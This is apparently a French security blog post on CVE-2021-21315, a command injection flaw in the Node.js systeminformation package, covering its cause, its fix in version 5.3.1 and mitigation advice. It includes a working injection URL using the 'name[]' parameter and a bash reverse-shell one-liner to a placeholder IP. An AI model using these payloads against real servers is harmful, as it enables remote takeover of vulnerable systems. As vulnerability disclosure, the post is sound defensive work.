4 mars 2021

Node.js : Exécution de code arbitraire à distance sous la CVE-2021-21315

Introduction

Le principal développeur, Sebastian Hildebrandt, derrière le paquet Node.js systeminformation a annoncé la semaine dernière la correction d’une vulnérabilité importante qui permettait à des attaquants d’effectuer des injections de commandes arbitraires sur le système. Ceci pouvant ainsi compromettre le serveur sous-jacent l’application web Node.js. Le paquet systeminformation permet de récupérer un ensemble d’informations système (matérielles et logicielles) et est bien connu par les développeurs de ce langage, car plus de 3 millions de téléchargements mensuels se font régulièrement (plus de 30 millions au total, d’après le dépôt officiel GitHub).

Figure 1 : Le dépôt officiel GiHub du paquet systeminformation de Sebastian Hildebrandt

Détail de la vulnérabilité

Cette vulnérabilité importante, référencée CVE-2021-21315, est issue d’une absence de vérification de l’entrée utilisateur. En effet, une personne malintentionnée injectant une charge malveillante via le paramètre accessible à l’utilisateur, est en mesure d’interagir avec le système sous-jacent l’application Node.js.

Le développeur a tout de même précisé que systeminformation n’est pas censé être accessible aux utilisateurs de l’application, mais uniquement aux administrateurs du backend, étant donné que les informations du système (CPU, RAM, etc.) ne sont pas destinées à être affichées aux utilisateurs classiques de l’application : « It is supposed to be used as a backend/server-side library (will definitely not work within a browser). » https://www.npmjs.com/package/systeminformation

Le correctif présenté ci-dessous a été implémenté pour la version 5.3.1 du paquet. Il nettoie désormais les paramètres, vérifie s’ils sont du type chaînes de caractères et, en plus, si la pollution du prototype s’est produite à un moment donné sur le paramètre :

Figure 2 : Correctif apporté dans le code JS du paquet systeminformation (5.3.1) – Fonctions inetChecksite() et inetLatency()

Si tout est en ordre, les appels aux autres portions de code pourront se faire (ici : dockerContainerInspect et plus loin dans le code dockerContainerProcesses notamment) :

Figure 3 : Correctif apporté dans le code JS du paquet systeminformation (5.3.1) – Fonction dockerContainerInspect()

Plus précisément, lorsqu’un attaquant injecte une commande système dans le paramètre name de la requête de récupération de service getServices par exemple, cette chaîne de caractères est proprement vérifiée via la fonction util.sanitizeShellString(), néanmoins si une variable tableau est passée en paramètre name[], celle-ci ne sera pas nettoyée.

Pour plus de détails sur le code de la fonction services, voici son code source :

https://github.com/sebhildebrandt/systeminformation/blob/fbb5c2adcddd9e657d25fda8442c0b3de2c62fb0/lib/processes.js

Ainsi, la requête suivante permettra de créer un fichier pwn.txt dans le répertoire temporaire /tmp/ :

https://<URL>/api/getServices?name[]=$(id > /tmp/pwn.txt)

Il devient par conséquent trivial pour un attaquant, de prendre la main sur le serveur sous-jacent en injectant une commande permettant d’obtenir un reverse-shell (ex : bash -i >& /dev/tcp/<IP>/<PORT> 0>&1).

Conclusion

Sebastian Hildebrandt a corrigé cette vulnérabilité importante et conseille très fortement aux développeurs utilisant ce composant de le mettre à jour le plus rapidement possible vers la version 5.3.1, à minima. Pour cela, il est possible d’utiliser la commande npm update -g systeminformation.

Si la mise à jour n’est pas envisageable dans un certain contexte, il est alors nécessaire de nettoyer les paramètres de service qui sont passés à si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad(), etc. N’autorisez que les chaînes de caractères, rejetez tout tableau.

Références

https://www.npmjs.com/package/systeminformation

https://github.com/sebhildebrandt/systeminformation

https://systeminformation.io/gettingstarted.html

https://github.com/advisories/GHSA-2m8v-572m-ff2v

https://nvd.nist.gov/vuln/detail/CVE-2021-21315

https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *